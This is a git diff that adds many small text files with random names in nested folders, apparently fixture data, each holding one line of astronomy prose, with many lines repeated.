diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_yczoipmijcoopktemhgxew.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_yczoipmijcoopktemhgxew.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_yczoipmijcoopktemhgxew.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_ztscwwgbhuygzohwvvey.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_ztscwwgbhuygzohwvvey.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_ztscwwgbhuygzohwvvey.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/fuarynviljssa.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/fuarynviljssa.txt
new file mode 100644
index 0000000..d93e7e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/fuarynviljssa.txt
@@ -0,0 +1 @@
+again.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/gzcrgvkcyuybhf.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/gzcrgvkcyuybhf.txt
new file mode 100644
index 0000000..399cc68
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/gzcrgvkcyuybhf.txt
@@ -0,0 +1 @@
+Venus and the Moon in Aquarius, horoscopus Capricorn.’ The method of enumerating the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/haaboqmsmuxekjaxej.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/haaboqmsmuxekjaxej.txt
new file mode 100644
index 0000000..666b341
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/haaboqmsmuxekjaxej.txt
@@ -0,0 +1 @@
+freely. Vermeer’s interiors are characteristically filled with nautical artifacts and wall maps.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/hsnsyyrxsvdk.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/hsnsyyrxsvdk.txt
new file mode 100644
index 0000000..b2d025e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/hsnsyyrxsvdk.txt
@@ -0,0 +1 @@
+not flickered out? What if science and the experimental method and the dignity of crafts
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/kjynikakwmpdfptasycnqym.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/kjynikakwmpdfptasycnqym.txt
new file mode 100644
index 0000000..99daf52
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/kjynikakwmpdfptasycnqym.txt
@@ -0,0 +1 @@
+the robot in space circumvented disaster.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/prwaprugepehavwnzhcfqye.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/prwaprugepehavwnzhcfqye.txt
new file mode 100644
index 0000000..b75f170
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/prwaprugepehavwnzhcfqye.txt
@@ -0,0 +1 @@
+unconstrained fantasies. But we are at the very beginning of our exploration. Past voyages
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/rwwwkhssodblpp.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/rwwwkhssodblpp.txt
new file mode 100644
index 0000000..99bb55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/rwwwkhssodblpp.txt
@@ -0,0 +1 @@
+universe is created, somehow, ten or twenty billion years ago and expands forever, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/tujncfitbrktrsnkrq.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/tujncfitbrktrsnkrq.txt
new file mode 100644
index 0000000..d0313e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/tujncfitbrktrsnkrq.txt
@@ -0,0 +1 @@
+humanity.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/ugocxalci.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/ugocxalci.txt
new file mode 100644
index 0000000..1c336d3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/ugocxalci.txt
@@ -0,0 +1 @@
+physical notions commonly held among academic philosophers, stirred up against
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/xsaxqbjwfnhlkiachygt.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/xsaxqbjwfnhlkiachygt.txt
new file mode 100644
index 0000000..8c91fff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/xsaxqbjwfnhlkiachygt.txt
@@ -0,0 +1 @@
+for Jupiter to go once around the Sun. A similar argument applies for every planet and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/abqmzzdaijrugvp.txt b/big_zip/big-zip-files/folder_mroxaffqrr/abqmzzdaijrugvp.txt
new file mode 100644
index 0000000..a379cbe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/abqmzzdaijrugvp.txt
@@ -0,0 +1 @@
+galaxies, it is a huge pinwheel of stars, gas and dust. M31 has two small satellites, dwarf
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/akdmmtbvvrzheqrhvav.txt b/big_zip/big-zip-files/folder_mroxaffqrr/akdmmtbvvrzheqrhvav.txt
new file mode 100644
index 0000000..3e6c06f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/akdmmtbvvrzheqrhvav.txt
@@ -0,0 +1 @@
+The Earth is very near the Moon. If the Moon is so severely cratered by impacts,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/bqffzcprfiuxuukbnf.txt b/big_zip/big-zip-files/folder_mroxaffqrr/bqffzcprfiuxuukbnf.txt
new file mode 100644
index 0000000..eaaadaf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/bqffzcprfiuxuukbnf.txt
@@ -0,0 +1 @@
+worlds of several sorts in several parts of the Universe. At least, I see nothing of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/bxtprhvcqmrxjkd.txt b/big_zip/big-zip-files/folder_mroxaffqrr/bxtprhvcqmrxjkd.txt
new file mode 100644
index 0000000..4f1c8ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/bxtprhvcqmrxjkd.txt
@@ -0,0 +1 @@
+in the traditional ways of doing things, a fundamental redesign of economic, political,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/cdgqnjjohmrazcnupoq.txt b/big_zip/big-zip-files/folder_mroxaffqrr/cdgqnjjohmrazcnupoq.txt
new file mode 100644
index 0000000..bc195fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/cdgqnjjohmrazcnupoq.txt
@@ -0,0 +1 @@
+Traveling close to the speed of light you would hardly age at all, but your friends
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/dlojyagrsvettvj.txt b/big_zip/big-zip-files/folder_mroxaffqrr/dlojyagrsvettvj.txt
new file mode 100644
index 0000000..9f93c00
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/dlojyagrsvettvj.txt
@@ -0,0 +1 @@
+was not shared by most of his Pythagorean colleagues in later times.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/drbxfoeor.txt b/big_zip/big-zip-files/folder_mroxaffqrr/drbxfoeor.txt
new file mode 100644
index 0000000..42fcb67
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/drbxfoeor.txt
@@ -0,0 +1 @@
+also generates iron, a pair of silicon atoms, each with twenty-eight protons and neutrons,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/dtbjfhjiojsyqahlw.txt b/big_zip/big-zip-files/folder_mroxaffqrr/dtbjfhjiojsyqahlw.txt
new file mode 100644
index 0000000..48b5e46
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/dtbjfhjiojsyqahlw.txt
@@ -0,0 +1 @@
+employed only by the State. In many countries it was a capital offense for anyone but the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/fhmkcaobwpsxkxfushrcfmf.txt b/big_zip/big-zip-files/folder_mroxaffqrr/fhmkcaobwpsxkxfushrcfmf.txt
new file mode 100644
index 0000000..cab52e6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/fhmkcaobwpsxkxfushrcfmf.txt
@@ -0,0 +1 @@
+and magical thought for a boy on the road in a countryside dappled and rippling in sunlight.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_afaqcljhhau.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_afaqcljhhau.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_afaqcljhhau.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_cpqlvjsydedwaiigawsgzmsh.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_cpqlvjsydedwaiigawsgzmsh.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_cpqlvjsydedwaiigawsgzmsh.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_dggpjlrbnjgieadhfg.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_dggpjlrbnjgieadhfg.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_dggpjlrbnjgieadhfg.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_euhwgoevucs.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_euhwgoevucs.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_euhwgoevucs.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_helgjlbfecqduairds.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_helgjlbfecqduairds.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_helgjlbfecqduairds.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_htvmamaxjpfialfmichrsedk.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_htvmamaxjpfialfmichrsedk.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_htvmamaxjpfialfmichrsedk.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_ickktubxpzgpuoa.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_ickktubxpzgpuoa.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_ickktubxpzgpuoa.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_jfjaxuvbznxcloxic.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_jfjaxuvbznxcloxic.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_jfjaxuvbznxcloxic.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_mfwhqrxcnwalzq.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_mfwhqrxcnwalzq.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_mfwhqrxcnwalzq.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_ouxzxefnceb.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_ouxzxefnceb.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_ouxzxefnceb.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_qlazrqgpq.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_qlazrqgpq.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_qlazrqgpq.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_unsvldgjmdkmlgkmawf.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_unsvldgjmdkmlgkmawf.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_unsvldgjmdkmlgkmawf.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/file_vfjtnwyoekwzdsmnobxo.txt b/big_zip/big-zip-files/folder_mroxaffqrr/file_vfjtnwyoekwzdsmnobxo.txt
new file mode 100644
index 0000000..1d0f83b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/file_vfjtnwyoekwzdsmnobxo.txt
@@ -0,0 +1 @@
+three general principles of motion from phenomena, and afterwards to tell us how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/kwnelzrqsg.txt b/big_zip/big-zip-files/folder_mroxaffqrr/kwnelzrqsg.txt
new file mode 100644
index 0000000..1f2fe94
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/kwnelzrqsg.txt
@@ -0,0 +1 @@
+ancient alchemists. Beyond uranium there are other elements that do not naturally occur on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/ocihgkmqqofirl.txt b/big_zip/big-zip-files/folder_mroxaffqrr/ocihgkmqqofirl.txt
new file mode 100644
index 0000000..25bbc5b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/ocihgkmqqofirl.txt
@@ -0,0 +1 @@
+As long as there have been humans, we have searched for our place in the Cosmos. In the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/oubhrjdqpxnwizacvpynkote.txt b/big_zip/big-zip-files/folder_mroxaffqrr/oubhrjdqpxnwizacvpynkote.txt
new file mode 100644
index 0000000..1d52bdf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/oubhrjdqpxnwizacvpynkote.txt
@@ -0,0 +1 @@
+underground.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/pkxnoxyfjs.txt b/big_zip/big-zip-files/folder_mroxaffqrr/pkxnoxyfjs.txt
new file mode 100644
index 0000000..34032ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/pkxnoxyfjs.txt
@@ -0,0 +1 @@
+waves. From gamma rays to radio waves, all are equally respectable brands of light. All are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/wezxeawsfbiown.txt b/big_zip/big-zip-files/folder_mroxaffqrr/wezxeawsfbiown.txt
new file mode 100644
index 0000000..c1f15ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/wezxeawsfbiown.txt
@@ -0,0 +1 @@
+their stellar mass into space. The atoms returned are, naturally, those most readily made in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mroxaffqrr/zqiafnkyos.txt b/big_zip/big-zip-files/folder_mroxaffqrr/zqiafnkyos.txt
new file mode 100644
index 0000000..8e42e79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mroxaffqrr/zqiafnkyos.txt
@@ -0,0 +1 @@
+cylinder, not a cone. No matter how sharp the knife, the two pieces have unequal cross
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_akxnhcwtalyrifnbq.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_akxnhcwtalyrifnbq.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_akxnhcwtalyrifnbq.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_brxgbwsyjno.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_brxgbwsyjno.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_brxgbwsyjno.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_bshkgcajllqasqnllvacx.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_bshkgcajllqasqnllvacx.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_bshkgcajllqasqnllvacx.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_drehzfhugiqu.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_drehzfhugiqu.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_drehzfhugiqu.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_etdffvdiabptk.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_etdffvdiabptk.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_etdffvdiabptk.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_nhdxzmqwwkjacmzwtemxdmj.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_nhdxzmqwwkjacmzwtemxdmj.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_nhdxzmqwwkjacmzwtemxdmj.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_pcqxnglycdhk.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_pcqxnglycdhk.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_pcqxnglycdhk.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_qmcwcuafwkzlylbzuovbkyfq.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_qmcwcuafwkzlylbzuovbkyfq.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_qmcwcuafwkzlylbzuovbkyfq.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_qpxzroimqlwn.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_qpxzroimqlwn.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_qpxzroimqlwn.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_tnowdgflmsvhmksmfqdzi.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_tnowdgflmsvhmksmfqdzi.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_tnowdgflmsvhmksmfqdzi.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_vbxqeztqodrlvo.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_vbxqeztqodrlvo.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_vbxqeztqodrlvo.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_vmxlpprtk.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_vmxlpprtk.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_vmxlpprtk.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_ywwzvrkrehbtcehjubfgzkqp.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_ywwzvrkrehbtcehjubfgzkqp.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_ywwzvrkrehbtcehjubfgzkqp.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_zlmsjnumuwctfjdtha.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_zlmsjnumuwctfjdtha.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_zlmsjnumuwctfjdtha.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/file_ztlxttshamntvpal.txt b/big_zip/big-zip-files/folder_mtnccujynf/file_ztlxttshamntvpal.txt
new file mode 100644
index 0000000..621e6e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/file_ztlxttshamntvpal.txt
@@ -0,0 +1 @@
+would be squashed together, the frequency would be increased, and we would hear a high-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_aovividsqanhdtjyw.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_aovividsqanhdtjyw.txt
new file mode 100644
index 0000000..c3bf55b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_aovividsqanhdtjyw.txt
@@ -0,0 +1 @@
+overhanging ledge in what is today New Mexico. One of them seems to have drawn on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_bjcudulkxmzgnhjtsjlupse.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_bjcudulkxmzgnhjtsjlupse.txt
new file mode 100644
index 0000000..c3bf55b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_bjcudulkxmzgnhjtsjlupse.txt
@@ -0,0 +1 @@
+overhanging ledge in what is today New Mexico. One of them seems to have drawn on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_gntjbiyuuzwdxak.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_gntjbiyuuzwdxak.txt
new file mode 100644
index 0000000..c3bf55b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_gntjbiyuuzwdxak.txt
@@ -0,0 +1 @@
+overhanging ledge in what is today New Mexico. One of them seems to have drawn on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_ihzmdalindewstm.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_ihzmdalindewstm.txt
new file mode 100644
index 0000000..c3bf55b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_ihzmdalindewstm.txt
@@ -0,0 +1 @@
+overhanging ledge in what is today New Mexico. One of them seems to have drawn on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_nfkprdrij.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_nfkprdrij.txt
new file mode 100644
index 0000000..c3bf55b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_nfkprdrij.txt
@@ -0,0 +1 @@
+overhanging ledge in what is today New Mexico. One of them seems to have drawn on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_qvbhmadl.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_qvbhmadl.txt
new file mode 100644
index 0000000..c3bf55b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_qvbhmadl.txt
@@ -0,0 +1 @@
+overhanging ledge in what is today New Mexico. One of them seems to have drawn on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_rnmsijukxedevl.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_rnmsijukxedevl.txt
new file mode 100644
index 0000000..c3bf55b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_rnmsijukxedevl.txt
@@ -0,0 +1 @@
+overhanging ledge in what is today New Mexico. One of them seems to have drawn on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_sbtcnvkuopvlvs.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_sbtcnvkuopvlvs.txt
new file mode 100644
index 0000000..c3bf55b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_sbtcnvkuopvlvs.txt
@@ -0,0 +1 @@
+overhanging ledge in what is today New Mexico. One of them seems to have drawn on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_vxmcdhzhteymdyljtmrqcr.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_vxmcdhzhteymdyljtmrqcr.txt
new file mode 100644
index 0000000..c3bf55b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_vxmcdhzhteymdyljtmrqcr.txt
@@ -0,0 +1 @@
+overhanging ledge in what is today New Mexico. One of them seems to have drawn on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_wfarxpciaursnv.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_wfarxpciaursnv.txt
new file mode 100644
index 0000000..c3bf55b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/file_wfarxpciaursnv.txt
@@ -0,0 +1 @@
+overhanging ledge in what is today New Mexico. One of them seems to have drawn on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_ccnbnbbv.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_ccnbnbbv.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_ccnbnbbv.txt
@@ -0,0 +1 @@
+enterprise of war. Should a time of real disarmament arrive before nuclear war, such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_dgugcpjafoyrktczzsmiump.txt b/big_zip/big-zip-files/folder_mtnccujynf/folder_vwvuhohbdg/folder_uxdrtziowe/file_dgugcpjafoyrktczzsmiump.txt
new file mode 100644
index 0000000..3faec6a
--- /dev/null
